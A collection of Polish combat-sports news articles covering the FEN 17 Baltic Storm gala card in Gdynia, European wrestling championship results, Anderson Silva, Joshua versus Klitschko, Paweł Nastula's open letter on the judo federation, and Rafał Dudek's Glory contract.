Kickbokserski mistrz Polski Kryspin Kalski to kolejny reprezentant trójmiejskiej sceny sportów walki, którego zobaczymy w akcji na gali FEN 17 Baltic Storm. 12 maja w Gdynia Arena w pojedynku K-1 wagi ciężkiej zmierzy się z debiutującym w Fight Exclusive Night, niepokonanym na zawodowych ringach Mateuszem Łazowskim.

Droga Mateusza Łazowskiego (30 lat, 191 cm, 2-0) do kariery zawodowego fightera K-1 była dość kręta. Zaczynał od treningów bokserskich, lecz w tej dyscyplinie nigdy nie walczył. Sporo pojedynków stoczył za to w muay thai, zdobywając m.in. tytuł mistrza Polski. Później zainteresował się mieszanymi sztukami walki, wygrywając na amatorskich zawodach wszystkie swoje walki. Ostatecznie jednak postawił na kickboxing i zawodowe starty w K-1. Ma na koncie 2 walki w tej formule, obie przeciwko zawodnikom z Niemiec i obie stoczone na warszawskich galach Granda PRO. Debiutował rok temu w starciu z Danielem Adjei, którego znokautował lawiną potężnych ciosów już w pierwszej rundzie, a w październiku na punkty pokonał doskonale znanego z klatkoringu FEN, utytułowanego weterana Niko Falina.

Na gali FEN 17 Baltic Storm Kryspin Kalski (27 lat, 192 cm, 7-6) powalczy o pierwsze zwycięstwo w organizacji Fight Exclusive Night – w debiucie przeciwko Arkadiuszowi Wrzoskowi był bliski wygranej, ale ostatecznie po dogrywce w górę powędrowała ręka jego rywala. Reprezentant Fight Gym Gdynia, który sportową karierę zaczynał od koszykówki, grając w nią profesjonalnie przez 6 sezonów, to zawodowy mistrz Polski w kickboxingu z 2012 roku i triumfator Pucharu Polski w K-1 z 2013 roku. Uczestniczył też w prestiżowych turniejach King of Kings World GP w Płocku, Gdańsku i Wilnie, podczas których m.in. pokonał doświadczonego Niemca Andre Agbobly’ego i stoczył świetny pojedynek z legendarnym mistrzem wagi ciężkiej, Ukraińcem Pavlem Zhuravlevem. Po starciu z Wrzoskiem, szukając nowych wyzwań, Kalski wziął udział w drużynowym turnieju Iron Warriors Team – po dwóch wygranych walkach awansował do finału, ale nie wystąpił w nim z powodu kontuzji ręki.

Na gali FEN 17 Baltic Storm kibice zobaczą jeszcze cztery inne pojedynki w formule K-1 – Radosława Paczuskiego z Holendrem Menno Van Roosmalenem, Artura Bizewskiego z Marcinem Szrederem, Jarosława Daschke z Robertem Rajewskim Jr oraz Alana Kwiecińskiego z Kamilem Mateją. Z kolei w walkach na zasadach MMA tego wieczora wystąpią m.in. Kamil Łebkowski, Piotr Hallmann, Michał Wlazło, Michał Oleksiejczuk, Aleksander Georgas, Ireneusz Szydłowski i Bartosz Leśko. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Patryk Nowak rywalem Piotra Hallmanna na FEN 17 Baltic Storm

Federacja Fight Exclusive Night zdradziła nazwisko przeciwnika Piotra „Płetwala” Hallmanna na gali FEN 17 Baltic Storm. Z byłym zawodnikiem UFC zmierzy się utalentowany Patryk Nowak, który 12 maja w Gdynia Arena powalczy o piąte zawodowe zwycięstwo z rzędu.

Dla polskich kibiców nazwisko Patryka Nowaka (28 lat, 175 cm, 4-0, 2 SUB, 1 KO) może brzmieć enigmatycznie, za to dobrze znane jest już w Szwajcarii, gdzie pochodzący z Namysłowa zawodnik do niedawna mieszkał, trenował i walczył. Przez dwa lata do zawodowych walk szykował się pod okiem cenionego trenera Robsona Dantasa w filii słynnego brazylijskiego klubu Kimura Nova Uniao w Renens u podnóża Alp. Debiutował rok temu na gali Fight Night Series, wygrywając przez decyzję z doświadczonym Anthonym Mullerem. To jego jedyne zwycięstwo na punkty – w kolejnych trzech walkach dla szwajcarskich organizacji FNS oraz Hit FC kończył już swoich rywali przed czasem.

Nowak uchodzi za utalentowanego grapplera – wywodzi się z zapasów, jako junior i kadet był wielokrotnym mistrzem Polski i występował na mistrzostwach Europy. Później startował w amatorskich zawodach MMA, ma na koncie m.in. pasy zdobywane na turniejach ALMMA oraz zawodach w Niemczech. Jak zapewnia, po powrocie do Polski jest gotowy na znacznie poważniejsze wyzwania, więc propozycję walki z „Płetwalem” na gali FEN 17 Baltic Storm przyjął bez wahania.

Piotr Hallmann (29 lat, 175 cm, 16-6, 7 KO, 7 SUB) to niezaprzeczalnie jeden z najlepszych fighterów MMA w kraju i jeden z pierwszych Polaków, którzy podpisali kontrakt z UFC. Ma za sobą 6 walk w oktagonie tej federacji, za które trzykrotnie był nagradzany bonusami (walka wieczoru, występ wieczoru i poddanie wieczoru). Na angaż w UFC „Płetwal” zapracował 13 zwycięstwami w 14 walkach, z których większość odniósł przez nokaut lub poddanie.

Po powrocie do Polski w styczniu 2016 roku zawodnik Mighty Bulls Gdynia walczył dwa razy – na gali Slava Republic 1 pokonał Francuza Jasona Poneta, a potem w walce wieczoru gali FEN 13 Summer Edition przegrał na punkty z Kamilem Łebkowskim. Był to dla niego wyjątkowy pojedynek, bo po raz pierwszy i jak do tej pory jedyny walczył w kategorii piórkowej. Po tym nieudanym występie gdynianin zdecydował się wrócić do „swojej” wagi lekkiej i w niej stoczy kolejną walkę na gali FEN 17 Baltic Storm.

Oprócz tego emocjonująco zapowiadającego się pojedynku kibice 12 maja obejrzą także walki MMA z udziałem m.in. Kamila Łebkowskiego, Ireneusza Szydłowskiego oraz starcia Michała Wlazło z Czechem Martinem Chudejem, Michała Oleksiejczuka z Włochem Riccardo Nosiglią i Jakuba Kowalewicza z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Machado rywalem Łebkowskiego na gali FEN 17 Baltic Storm

Gwiazda polskiego MMA Kamil "Bomba" Łebkowski poznał swojego przeciwnika na gali FEN 17 Baltic Storm. 12 maja w walce wieczoru imprezy w Gdynia Arena jego przeciwnikiem będzie wielki prospekt brazylijskiego MMA – Caio Machado.

Caio Machado (10-3, 3 KO, 4 SUB) to jeden z największych brazylijskich prospektów, w zgodnej opinii fachowców mocny kandydat do angażu w UFC. 23-letni, wszechstronnie wyszkolony fighter z Olindy, który jako nastolatek wbrew woli matki trenował boks, muay thai i ju-jitsu, szybko zwrócił na siebie uwagę skautów wyszukujących młode talenty MMA, zarzucił pomysł studiowania geografii i całkowicie poświęcił się treningom w tej formule. W pierwszych dwóch latach zawodowej kariery stoczył 6 walk w Brazylii i amerykańskiej organizacji Legacy Fighting Championship, wygrywając wszystkie z nich, w tym cztery przed czasem. Dzięki tej zwycięskiej serii w 2014 roku stanął do walki z Thomasem Almeidą o pas mistrza LFC w kategorii koguciej. Walczący z kontuzją żeber Machado w starciu z przyszłym zawodnikiem UFC doznał pierwszej porażki w karierze, ale w następnych 6 występach ambitny Brazylijczyk dopisał do swego rekordu m.in. 4 kolejne zwycięstwa z rzędu. Dwa miesiące temu w ostatniej walce na gali LFA 3 w USA przegrał na punkty z Amerykaninem Trentem Meaux, więc na gali FEN 17 Baltic Storm w pojedynku z Kamilem „Bombą” Łebkowskim powalczy o powrót na zwycięską ścieżkę.

Taki sam cel przyświecał będzie także reprezentantowi Dziki Wschód Biała Podlaska, który podczas marcowej gali FEN 16 Warsaw Reloaded dość niespodziewanie uległ na punkty innemu Brazylijczykowi, Gabrielowi „Gabito” Silvie. Kamil Łebkowski (15-5, 8 KO, 2 SUB) przed tym pojedynkiem miał na koncie imponującą serię 10 zwycięstw z rzędu, na którą złożyły się m.in. walki z takimi świetnymi przeciwnikami, jak Japończyk Yoshihiro Koyama, którego znokautował na gali WSOF Global Championship 2 w Tokio, były fighter UFC Piotr Hallmann, którego wypunktował na gali FEN 13 Summer Edition, a także doświadczony Anglik Ashleigh Grimshaw, powalony na deski na gali PFN 27 w Bournemouth. Przegrana walka z bratem słynnego Ericka Silvy oddaliła „Bombę” od wymarzonego debiutu w UFC, ale najlepszy piórkowy polskiego MMA z całą pewnością ma papiery na to, by w przyszłości stać się zawodnikiem amerykańskiego giganta. Czy krok w tym kierunku uczyni na gali FEN 17 Baltic Arena w pojedynku z Caio Machado? Przekonamy się o tym już 12 maja w Gdynia Arena.

W innych walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią oraz Jakub Kowalewicz z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Oktagon zamiast klatkoringu już na FEN Baltic Storm!

Na gali FEN 17 Baltic Storm po raz pierwszy w historii organizacji Fight Exclusive Night zawodnicy walczyć będą w oktagonie. To rewolucyjna wręcz zmiana, bo podczas wszystkich poprzednich edycji uczestniczący w nich fighterzy MMA i K-1 rywalizowali w przygotowanym specjalnie dla FEN klatkoringu.

„Zastąpienie klatkoringu oktagonem służy przede wszystkim zwiększeniu atrakcyjności naszych gal – mówi prezes FEN Paweł Jóźwiak. – Z tej zmiany na pewno będą zadowoleni zawodnicy MMA, mniej korzystna jest natomiast dla kickbokserów, ale to oni podczas wszystkich wcześniejszych gal byli w uprzywilejowanej pozycji”.

Do wprowadzenia oktagonu w miejsce klatkoringu federacja FEN przygotowywała się od kilku miesięcy. „Zastąpienie częściowo otwartej areny walki, jaką jest klatkoring, zamkniętą przestrzenią oktagonu, to zmiana ważna nie tylko dla zawodników, ale również dla niemal wszystkich ekip pracujących przy organizacji gali – dodaje Paweł Jóźwiak. – Dlatego właśnie nie spieszyliśmy się z tą decyzją – chcieliśmy być pewni, że nasza federacja jest na tę kluczową zmianę w stu procentach przygotowana”.

Oktagon, który pojawi się 12 maja w hali Gdynia Arena, pod względem wymiarów i innych parametrów będzie bardzo podobny do tego, w którym walczą zawodnicy organizacji UFC. Nie wiadomo jeszcze, czy ośmiokątna klatka na stałe zastąpi klatkoring. „Po premierze oktagonu na gali FEN 17 Baltic Storm dokładnie przeanalizujemy wszystkie argumenty za i przeciw takiemu rozwiązaniu” – wyjaśnia prezes FEN.

Podczas gali FEN 17 Baltic Storm w oktagonie stoczonych zostanie 13 walk. W pojedynkach na zasadach MMA wystąpią m.in. Kamil Łebkowski, Piotr Hallmann, Michał Wlazło, Michał Oleksiejczuk, Aleksander Rychlik, Aleksander Georgas i Ireneusz Szydłowski, natomiast na zasadach K-1 walczyć będą m.in. Radosław Paczuski, Jarosław Daschke, Alan Kwieciński, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

FEN 17 Baltic Storm: official trailer

Michał Wlazło, Kamil Łebkowski, Radosław Paczuski, Marcin Szreder, Jarosław Daschke, Ireneusz Szydłowski i reszta wojowników Fight Exclusive Night już gotowa do walki na FEN 17 Baltic Storm! Zobaczcie oficjalny trailer gali, która już 12 maja w Gdynia Arena!

Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs). Bilety VIP i grupowe – tel. 601 877 229.

[kod]

Zasina poza podium

W drugim dniu mistrzostw Europy w zapasach, które odbywają się w Nowym Sadzie Polacy nie powiększyli dorobku medalowego. Najwyżej uplasowała się, siódme miejsce, Roksana Zasina (53kg).

Mistrzostwa Europy rozpoczęły się dla nas wręcz idealnie. Pierwszego dnia imprezy złoty medal wywalczyła Monika Michalik (63kg), dla której był to czwarty triumf w europejskim czempionacie. 

Powtórki nie było

Z nadziejami do Nowego Sadu jechała Roksana Zasina, która rok temu w Rydze wywalczyła brązowy medal mistrzostw Europy. Ostatni czas jest niezwykle udany dla zapaśniczki reprezentującej barwy ZTA Zgierz. W 2015 roku Zasina wywalczyła srebrny medal Igrzysk Europejskich w Baku. Lepsza od Polki okazała się tylko Anżela Dorogan. 

W Nowym Sadzie w kategorii 53kg na starcie pojawiło się 12 zawodniczek. Zasina rozpoczęła zmagania w europejskim czempionacie od wygranej przez przewagę techniczną z Emmą Siri Brobek. W ćwierćfinale Polka trafiła na dziesiątą zawodniczkę igrzysk w Rio de Janeiro Marię Prevolaraki. 25-letnia reprezentantka Grecji poradziła sobie z Zasiną i wygrała 3:1. 29-letnia Polka została sklasyfikowana na siódmym miejscu.

Szczęścia nie miała Agnieszka Król (60kg). W Nowym Sadzie Polka stoczyła zaledwie jedną walkę i pożegnała się z rywalizacją. Pogromczynią Król okazała się Tetiana Omelchenko z Azerbejdżanu. Równie krótko trwała przygoda Krzysztofa Bieńkowskiego (65kg) z mistrzostwami Europy. Zapaśnik z Białogardu przegrał z Gitinomagomedowem Gadżijewem.

Czekamy na kolejne medale

Pierwszego dnia imprezy w Nowym Sadzie w szampański nastrój wprawiła nas Monika Michalik (63kg). Doświadczona zapaśniczka wywalczyła czwarty tytuł mistrzyni Europy. Blisko podium byli Anna Łukasiak (48kg) i Zbigniew Baranowski (86kg).

Kolejni zapaśnicy pojawią się na macie już 4 maja. O medale powalczą również Polacy. Daria Osocka (75kg) i Andrzej Sokalski (74kg) odliczają już godziny do swoich startów. W kolejnych dniach w akcji zobaczymy m.in. mistrza Europy z Rygi Magomedmurada Gadzhieva (70kg).

W ubiegłym roku w Rydze biało-czerwoni wywalczyli pięć medali.

Mistrzostwa Europy w Nowym Sadzie potrwają do 7 maja.

KM

Silva stawia ultimatum

Albo tak, albo „do widzenia” zdaje się mówić Anderson Silva do włodarzy UFC. Brazylijski wojownik marzy o pojedynku, którego stawką byłoby tymczasowe mistrzostwo wagi średniej. W innym przypadku, zawodnik grozi zakończeniem kariery.

Jak mawiał Niccolo Machiavelli – „cel uświęca środki”. W drodze do realizacji własnych zamierzeń często jesteśmy gotowi posunąć się daleko. Liczy się tylko satysfakcja, spełnienie i czerpanie przyjemności z osiągniętego rezultatu. 

Czy piękne chwile wrócą?

O Brazylijczyku można powiedzieć wiele. 42-letni Anderson Silva zapracował na miano legendy mieszanych sztuk walki. Przez lata był idolem tłumów. W 2006 roku zdobył pas mistrzowski UFC w wadze średniej pokonując po piekielnie mocnym ciosie kolanem Richa Franklina. W kolejnych dziesięciu starciach udanie bronił swojej zdobyczy. Przeszkodą nie do przejścia dla Silvy okazał się Chris Weidman. Na gali UFC 162, lipiec 2013, Amerykanin pokonał Brazylijczyka w drugiej rundzie. Pół roku później doszło do rewanżu. Morderczą walkę przerwał sędzia, który postanowił oszczędzić Silvę.

Zawodnik z Kraju Kawy zamierzał jeszcze pokazać, że stać go na walki na wysokim poziomie. Nie wszystko układało się po myśli Brazylijczyka. Po walce na UFC 183, styczeń 2015, okazało się, że Silva i jego rywal Nick Diaz stosowali niedozwolone środki. Brazylijczyk został zawieszony na dwanaście miesięcy. Zapewniał jednak, że jest niewinny. Wrócił do rywalizacji w… lutym 2016 roku. Przegrał z Michalem Bispingiem, a później lepszy od Silvy okazał się Daniel Cormier. W międzyczasie 42-latek borykał się z problemami zdrowotnymi, przeszedł operacją w związku z kłopotami z woreczkiem żółciowym.

Niektórzy wieścili, że to koniec wielkiej gwiazdy. Jednak Silva chciał utrzeć nosa niedowiarkom. W lutym br. pokonał Dereka Brunsona. Po raz kolejny Silva zaprezentuje się na gali UFC, która odbędzie się 3 czerwca w Rio de Janeiro. Na własnej ziemi chciałbym stoczyć bój o pas w wadze średniej. Silva przebąkuje, że myśli o zakończeniu kariery. Być może możliwość rywalizacji o pas sprawi, iż jego głowa będzie zaprzątnięta zupełnie innymi sprawami.

Po co Romero przyjedzie do Rio?

Rywalem Andersona Silvy w Rio miał być Kelvin Gastelum, jednak do starcia nie dojdzie. Powód: w organizmie 25-letniego Amerykanina wykryto metabolity marihuany. 42-letni Brazylijczyk bardzo chce zaprezentować się przed własną publicznością. Liczy, że przyjdzie mu rywalizować o pas. Przeciwnikiem byłego mistrza wagi średniej miałby być Yoel Romero. – To świetny zawodnik, numer 1 rankingu. Dlaczego Yoel Romero miałby przyjeżdżać do Brazylii na walkę o nic? –  zastanawia się Silva.

Dla 42-letniego Brazylijczyka rywalizacja w Rio to ostatnia szansa, aby przypomnieć się szerszej publiczności. Były czempion wagi średniej stawia sprawę na ostrzu noża. – Jeśli nie dadzą mi walki o tymczasowy pas to skończę karierę – zaznacza Anderson Silva.

KM

Michalik mistrzynią Europy

Monika Michalik (63kg) sięgnęła po czwarty tytuł mistrzyni Europy w zapasach. W finałowym starciu w Nowym Sadzie 37-letnia Polka pokonała Taybę Mustafę Yusein.

Udanie rozpoczęły się dla biało-czerwonych mistrzostwa Europy w Serbii. W pierwszym dniu zmagań za sprawą Moniki Michalik zdobyliśmy złoty medal. Rywalizacja w Nowym Sadzie potrwa do niedzieli (7 maja).

Kolejny sukces

Monika Michalik to jedna z najbardziej utytułowanych polskich zapaśniczek. W sierpniu ubiegłego roku sprawiła nam ogromną radość podczas Igrzysk Olimpijskich w Rio de Janeiro, gdzie wywalczyła brązowy medal. Michalik trzy razy stawała na najniższym stopniu podium podczas mistrzostw świata. Pierwszy sukces na arenie europejskiej osiągnęła w 2002 roku. W Seinajoki wywalczyła brąz, ale już rok później w Rydze została najlepszą zawodniczką Starego Kontynentu w kategorii 59kg. Kolejne sukcesy świętowała w 63kg.

Co istotne, po raz ostatni na podium mistrzostw Europy zapaśniczka Grunwaldu Poznań stała w 2013 roku. W Tbilisi zdobyła srebro, lepsza była tylko Anastasija Grigorjeva. Upłynęły cztery lata i Polka stanęła na podium. Po raz czwarty Monika Michalik sięgnęła po tytuł mistrzyni Europy. Dla naszej zapaśniczki ten triumf ma wyjątkowy smak, bo została najlepszą zawodniczką Starego Kontynentu w dniu swoich 37. urodzin.

W Nowym Sadzie Michalik wygrała trzy pojedynki. Na początek, w ćwierćfinale, spotkała się z Sarą da Col. Polka okazała się zdecydowanie lepsza od 24-letniej Włoszki i pewnie awansowała do finału, gdzie czekała na nią Laura Skujina. Łotyszka to brązowa medalistka mistrzostw świata z 2014 roku, jednak w starciu z doświadczoną Polką nie miała czego szukać. Michalik zrobiła swoje i awansowała do finału. Tam czekała na nią Taybe Yusein Mustafa, która na swoim koncie miała trzy medale mistrzostw Europy, ale nie udało jej się wywalczyć złota. Michalik nie zamierzała ułatwiać zadania rywalce, choć finałowy pojedynek lepiej rozpoczęła Bułgarka. Wraz z upływem czasu przewagę zyskiwała Polka, która po wyrównanym pojedynku mogła wznieść ręce w geście triumfu.

Podium było blisko

Pierwszego dnia mistrzostw Europy mogliśmy mieć trzy medale, jednak Anna Łukasiak (48kg) i Zbigniew Baranowski (97kg) przegrali rywalizację o podium.

Łukasiak zmagania w Nowym Sadzie rozpoczęła od pojedynku z Marią Stadnik, która pewnie zmierzała w stronę złota i dotarła na szczyt. Z kolei Polka musiała radzić sobie w repasażach, gdzie pokonała Evin Demirhan z Turcji. W starciu o brąz Łukasiak musiała uznać wyższość Emilii Vuc.

O krok od wielkiego sukcesu był Zbigniew Baranowski. Rok temu w Rydze zapaśnik był 15. W Serbii walczył o brąz, jednak w decydującym starciu trafił na wicemistrza z Rio Selima Yasara. 

KM

Święto boksu na Wembley

Cały bokserski świat odlicza godziny do starcia Anthony'ego Joshuy z Władimirem Kliczko. To bez wątpienia starcia roku. Wieczorem 29 kwietnia na stadionie Wembley w Londynie temperatura sięgnie zenitu.

Starcie o prymat w wadze ciężkiej. Do ringu wejdą pięściarze, którzy znajdują się w zupełnie innych miejscach. Joshua niczym „młody wilk” pokonuje kolejne przeszkody w drodze na szczyt, z kolei Kliczko wraca po przegranej z Tysonem Furym.

Starcie gladiatorów

Ponad 90 tysięcy widzów będzie śledziło z bliska pojedynek Joshuy z Kliczko. A przed telewizorami zasiądą miliony tych, którzy będą chcieli zobaczyć walkę roku w wadze ciężkiej i przekonać się, kto zostanie królem. 

Dzieli ich trzynaście lat, czyli szmat czasu. Gdy Joshua zaczynał swoją edukacyjną ścieżkę, Kliczko poznawał świat boksu. W pierwszej walce znokautował Fabiana Meza i tak zaczęła się fantastyczna kariera ukraińskiego boksera. Kliczko to ikona i legenda pięściarstwa. 41-latek zanotował na swoim koncie cztery porażki, ale tą najbardziej bolesną w listopadzie 2015 roku. W Dusseldorfie musiał uznać wyższość Tysona Fury'ego, który zgarnął cztery pasy mistrzowskie. Czas Ukraińca dobiegł końca. Jednak Kliczko nie dawał za wygraną i chciał spotkać się z Fury'm w walce rewanżowej. Nowy mistrz wyraził zgodę, podano termin starcia, jednak kilkukrotnie go zmieniano. Ostatecznie na jaw wyszły problemy Fury'ego z używkami, a ten zdecydował się zrzec pasów.

Od razu zaczęły się spekulacje, kto może spotkać się w starciu o prymat w wadze ciężkiej. Nie ulegało wątpliwości, że Kliczko będzie chciał odzyskać swoje. A na horyzoncie pojawił się głodny, pewny siebie i skuteczny Anthony Joshua. Niespełna 28-letni pięściarz może pochwalić się pasem IBF, który zdobył w kwietniu ubiegłego roku pokonując Charlesa Martina. Joshua to prawdziwa maszyna, terminator, który nie ma litości dla rywali. 18 walk i wszystkie wygrane przed czasem.

W Londynie spotkają się pięściarze z różnych epok, światów. Wiadomo jedno – zapowiada się mocne i ciekawe widowisko. Takie może być, jeżeli obu nie sparaliżuje strach i taktyka oraz ostrożność nie wezmą góry nad chęcią boksowania. A w takich przypadkach bywało różnej. Z dużej chmury mały deszcz. Miejmy nadzieję, że w tym przypadku tak nie będzie.

Kliczko lżejszy

Były czempion wagi ciężkiej już dawno nie był tak „lekki”. Osiem lat temu, przed starciem z Rusłanem Czagajewem, Kliczko ważył 109 kilogramów. Przed londyńskim pojedynku wniósł na wagę dokładnie tyle samo. W porównaniu do ostatniego występu, walka z Fury'm, Ukrainiec schudł 2,5 kg.

Zupełnie inaczej sytuacja wygląda w przypadku Joshuy. Ten nabiera masy. W porównaniu ze starciem z Erikiem Moliną zyskał 0,5 kg i waży 113,4kg.

KM

Mocne słowa Pawła Nastuli

Fałszywe poklepywanie po plecach, intrygi, brak szczerości – tak opisuje sytuację w Polskim Związku Judo mistrz olimpijski z Atlanty. W liście otwartym Paweł Nastula przyznał, że popełnił błąd obdarzając zaufaniem obecne władze.

46-letni Nastula jest ikoną polskiego judo. Jego głos na temat sytuacji w związku odbił się szerokim echem. 

Jest źle

W grudniu 2016 roku prezesem Polskiego Związku Judo został Jacek Zawadka. Uzyskał 119 głosów, jego konkurenta Krzysztofa Wiłkomirskiego poparło dziewięć osób mniej. Kandydaturę Jacka Zawadki wspierał Paweł Nastula. Mistrz olimpijski z Atlanty uważa, że popełnił błąd. –  Przepraszam za mój list przedwyborczy, w którym poparłem Jacka Zawadkę. Między innymi dzięki mojemu poparciu został prezesem Polskiego Związku Judo i jest mi z tego powodu wstyd. Piszę o tym już teraz, kilka miesięcy po tym jak doszło do zmian w PZJ a w zasadzie… po tym jak do tych zmian nie doszło. I to jest powód mojego oburzenia i rozgoryczenia. To ja namawiałem Was do głosowania na J.Zawadkę, bo jak poważni ludzie ustaliliśmy, że liczą się słowa. Okazało się, że tylko ja uważałem, że uczciwość nakazuje wywiązywanie się z zobowiązań (pisownia oryginalna) – napisał Paweł Nastula w liście otwartym, który zamieścił na swoim facebooku.

Mistrz olimpijski z Atlanty był gotowy wspierać związek swoim doświadczeniem, a nawet złożył propozycję poprowadzenia kadry. Sytuacja diametralnie się zmieniła – Nie zgadzam się na używanie mojego nazwiska do przykrywania patologicznych rozwiązań jakie mają być wprowadzone. Jestem człowiekiem honoru i nie można mnie kupić. Zanim to się stanie zapowiadam: nie przyjmuję malowanego stanowiska w kadrze. Nie dam z siebie zrobić przysłowiowego misia na Krupówkach, z którym można sobie najwyżej robić zdjęcia. Ja już wiem w jakim kierunku będzie zmierzał Związek. Wy dowiecie się niebawem. I jest to kierunek, którym nie zamierzam podążać. To byłaby upokarzająca podróż z małymi ludźmi, którzy nie chcą zmian. Chcą jedynie trwać na stanowiskach. Nie chcą wygrywać, chcą tylko pozostawać w grze. Zamiast doświadczenia na tatami, wolą doświadczenie w intrygach, zamiast szacunku wolą usłużność a zamiast szczerości, fałszywe poklepywanie po plecach. W prawdziwym judo tak nie da się wygrywać! – wyjaśnia Nastula.

Mistrz olimpijski podkreślił, że ubolewa nad sytuacją młodych zawodników. – Boję się, że to bagno może ich wciągnąć i zniszczyć – zaznaczył w swoim liście. Sam podjął decyzję o wycofaniu się z poparcia dla obecnych władz. Jednocześnie zaznaczył, że nie zostawia judo.

Całą treść listu otwartego Pawła Nastuli można znaleźć tu

Co dalej?

Paweł Nastula nie przebierał w słowach. Zabrał głos po mistrzostwach Europy w Warszawie, podczas których Polska wywalczyła jeden medal. W czwartek zbiera się się zarząd PZJudo w celu podsumowania imprezy. Zarazem zostaną podjęte decyzje dotyczące kadry trenerskiej. Czy władze związku odniosą się do listu Pawła Nastuli?

Fot. EJU/Facebook Paweł Nastula

KM

Miguel Torres

Amerykański zawodnik MMA meksykańskiego pochodzenia urodzony 18 stycznia 1981 roku w East Chicago. W MMA zadebiutował 27 marca 2000 roku pokonując przez nokaut Larryego Paulliama. W latach 2000-2007 walczył przede wszystkim na lokalnych galach i turniejach gdzie uzyskał bilans 32-1. W 2007 roku związał się z World Extreme Cagefighting. Pierwszą walkę dla tej federacji stoczył 5 września 2007 roku pokonując Jeffa Bedarda. Drugi pojedynek dla WEC stoczył 13 lutego 2008 roku. W tym pojedynku stawką był pas mistrzowski kategorii koguciej. Miguel zdominował swojego rywala poddając go w pierwszej rundzie tym samym zostając nowym mistrzem federacji WEC. Na przestrzeni półtora roku trzykrotnie udanie bronił pasa pokonując kolejno: Yoshiro Maedę, Mannego Tapię i Takeyę Mizugakiego, tym samym dominując swoją kategorię wagową. 9 sierpnia 2009 roku na gali WEC 42, w swojej czwartej obronie pasa mistrzostwa, niespodziewanie został znokautowany przez Briana Bowlesa. 6 marca 2010 roku przegrał drugą walkę z rzędu w organizacji, poddając się wskutek założonego duszenia Josepha Benavideza. We wrześniu 2010 roku poddał Charliego Valencię przełamując zwycięską niemoc. Po nowym roku WEC zaprzestało działalności i został przeniesiony do Ultimate Fighting Championship. W latach 2011-2012 stoczył dla UFC cztery pojedynki. Dwa wygrane nad Antonio Banuelosem i Nickiem Pacem oraz dwa przegrane z Demetriousem Johnsonem i Michaelem McDonaldem. Z ostatnim przegrał w fatalnym stylu przez ciężki nokaut, po czym został zwiolniony z UFC.  W tym samym roku związał się z nowopowstałą World Series of Fighting lecz przegrał dwa pojedynki m.in. z Marlonem Moraesem na punkty i postanowiono nie kontynuować z nim współpracy. Po kilku wygranych pojedynkach w 2014 roku dla mniejszych organizacji, 27 czerwca 2015 roku w finale turnieju wagi piórkowej chińskiej organizacji Rebel FC, uległ pochodzącemu z Brazylii Japończykowi Kleberowi Koike Erbstowi przez poddanie. 24 września 2016 roku pokonał przez duszenie Lloyda Cartera.

Glory czeka na Dudka

Rafał Dudek rusza na podbój świata. 33-letni fighter z Nowego Sącza podpisał kontrakt z organizacją Glory.

Dudek to czołowy polski kickboxer wagi lekkiej. Na swoim koncie zapisał wiele ciekawych doświadczeń. Teraz będzie miał okazję zaprezentować się w rywalizacji na galach organizacji Glory.

Zdobyć chwałę

Dla każdego kickboxera występ na gali Glory to wyróżnienie. Można dyskutować z kondycją organizacji, jednak nadal stanowi markę, która dla wielu jest wyznacznikiem sukcesu. W lutym na Glory 38 w Chicago mogliśmy podziwiać Pawła Jędrzejczyka i Łukasza Pławeckiego. Niestety, obaj przegrali swoje walki na punkty.

W tym roku na gali Glory powinniśmy zobaczyć Rafała Dudka, który podpisał umowę z organizacją. Dla zawodnika z Nowego Sącza to ogromne wyróżnienie i radość. – Jestem bardzo szczęśliwy. Walczyłem już na całym świecie ale dla Glory jeszcze nie. Jestem związany z najlepszą organizacją kickboxingu w Polsce i teraz wiąże się z najlepszą na świecie. Jednym słowem Najlepsi z Najlepszych grają w jednej drużynie. To dla mnie wielki prestiż ale też motywacja i zobowiązanie. Jestem ambasadorem Nowego Sącza. Także w moim mieście 23 czerwca na DSF Kickboxing Challenge 10 zmierzę się Rafałem Jackiewiczem. Teraz, do tego jeszcze będę reprezentował Polskę w Glory. Dużo się dzieje ale długo na to pracowałem – nie ukrywa Rafał Dudek.

Zawodnik trenujący w holenderskim klubie Mike's Gym imponuje aktywnością i pracowitością. W ubiegłym roku stoczył aż siedem walk. Brązowy medalista mistrzostw Europy WAKO nadal jest związany z organizacją DSF.

Oczekiwanie

Po raz kolejny Rafał Dudek ruszy na podbój świata. Fighter z Nowego Sącza ma bogate doświadczenie i z pewnością nie ugnie się pod presją ani nie zje go trema. W ubiegłym roku z bardzo dobrej strony zaprezentował się w programie Enfusion Reality, który nagrywano w Tajlandii.

Kibice sportów walki w Polsce z ogromnym zaciekawieniem podchodzą do zaplanowanej na 23 czerwca walki Rafała Dudka z Rafałem Jackiewiczem. – Plan na walkę jest prosty: ciągła presja i kopanie. Trzeba pokazać w Polsce, że K-1 jest skuteczniejsze niż boks! – przedstawiał w styczniu w FighTime.pl kickboxer z Nowego Sącza.

